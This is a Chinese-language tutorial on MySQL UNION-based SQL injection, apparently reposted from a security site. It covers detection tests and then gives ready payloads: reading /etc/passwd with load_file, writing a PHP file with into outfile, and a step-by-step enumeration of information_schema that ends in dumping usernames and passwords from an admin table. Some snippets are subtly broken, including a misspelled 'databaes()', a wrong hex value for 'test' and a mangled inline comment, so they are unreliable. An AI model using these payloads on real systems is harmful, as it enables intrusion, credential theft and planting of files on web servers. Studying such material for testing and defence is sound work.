sql注⼊-unionselect 什么是SQL注⼊
SQL注⼊(Sql Injection )
1. 是⼀种将SQL语句插⼊或添加到应⽤(⽤户)的输⼊参数中的攻击
2. 这些参数传递给后台的SQL数据库服务器加以解析并执⾏
哪⾥存在SQL注⼊?
GET
POST
HTTP头部注⼊
Cookie注⼊
任何客户端可控,传递到服务器的变量,并且和数据库进⾏交互,都有可能存在sql注⼊。SQL注⼊的分类
1. 根据SQL数据类型分类
整型注⼊
字符串类型注⼊
2. 根据注⼊的语法分类
UNION query SQL injection(可联合查询注⼊)
Error-based SQL injection(报错型注⼊)
Boolean-based blind SQL injection(布尔型注⼊)
Time-based blind SQL injection(基于时间延迟注⼊)
Stacked queries SQL injection(可多语句查询注⼊)
如何去判断SQL注⼊漏洞
and 1=1 / and 1=2 回显页⾯不同(整形判断)
单引号判断 ‘ 显⽰数据库错误信息或者页⾯回显不同(整形,字符串类型判断)\ (转义符)
-
1/+1 回显下⼀个或上⼀个页⾯(整型判断)
and sleep(5) (判断页⾯返回时间)
MySQL数据库的特性
MySQL中3种注释风格
# (url编码为%23)
– (–后边要跟上⼀个或多个空格 --+)
/* … */
/*! … */ 内联注释
select * /!22222from/ users;(注:22222低于数据库版本号(5[0].7.20)就可显⽰from)
MySQL函数利⽤
常⽤函数
user()
database()
@@version
session_user()
@@basedir
@@datadir
@@version_compile_os
load_file( )函数读⽂件操作
前提
知道⽂件绝对路径
能够使⽤union查询
对web⽬录有写权限
UNION SELECT 1,load_file(’/etc/passwd’),3,4,5,6#
UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5,6#
into outfile( )写⽂件操作
前提
⽂件名必须全路径(绝对路径),
⽤户必须有写⽂件的权限
没有对 ‘ 引号过滤
SELECT ‘<?php phpinfo(); ?>’ into outfile ‘c:\Windows\tmp\1.php’
连接字符串函数
concat(str1,str2)
concat_ws(separator, str1,str2…)
group_concat(str1,str2…)
MySQL中information_scheme库
SCHEMATA表
字段:SCHEMA_NAME
TABLES表
字段:TABLE_SCHEMA, TABLE_NAME
COLUMNS表
字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME
MySQL中UNION规则
UNION必须由两条或两条以上的SELECT语句组成,语句之间⽤关键字UNION分隔UNION中的每个查询必须包含相同的列。
UNION会从查询结果集中⾃动去除了重复⾏。
UNION query SQl injection
利⽤前提
1. 页⾯上有显⽰位
优点:
⽅便、快捷、易于利⽤
缺点:
需要显⽰位
步骤
1. 判断列数
order by 10
order by 20
order by 15
…
2. 判断显⽰位
url?id=-1 union select 1,2,3,4,5
3. 获取当数据库名称和当前连接数据库的⽤户
url?id=-1 union select 1,2,databaes(),4,5
url?id=-1 union select 1,2,user(),4,5
4. 列出所有数据库
sql中union多表合并limit ⼀个⼀个打印出来库名
select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
group_concat ⼀次性全部显⽰
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
5. 列出(数据库:test)中所有的表
limit ⼀个⼀个打印出来字段名
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘test’limit 0,1
group_concat ⼀次性全部显⽰
select group_concat(TABLE_NAME) from information_schema.TABLES where
TABLE_SCHEMA=0x674657374
注意:数据库名称可以⽤⼗六进制来代替字符串,这样可以绕过单引号的限制。
6. 列出(数据库:test 表:admin )中所有的字段
limit ⼀个⼀个打印出来
select COLUMN_NAME from information_schema.COLUMNS where
TABLE_SCHEMA=‘baji’ and TABLE_NAME=‘users’ limit 0,1
group_concat ⼀次性全部显⽰
select group_concat(COLUMN_NAME) from information_schema.COLUMNS where
TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e
7. 列出(数据库:test 表:admin )中的数据
limit ⼀个⼀个打印出来
select username,passwd from test.admin limit 0,1
group_concat 把 ⼀次性全部打印
select group_concat(concat(username,0x20,passwd)) from test.admin
network
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论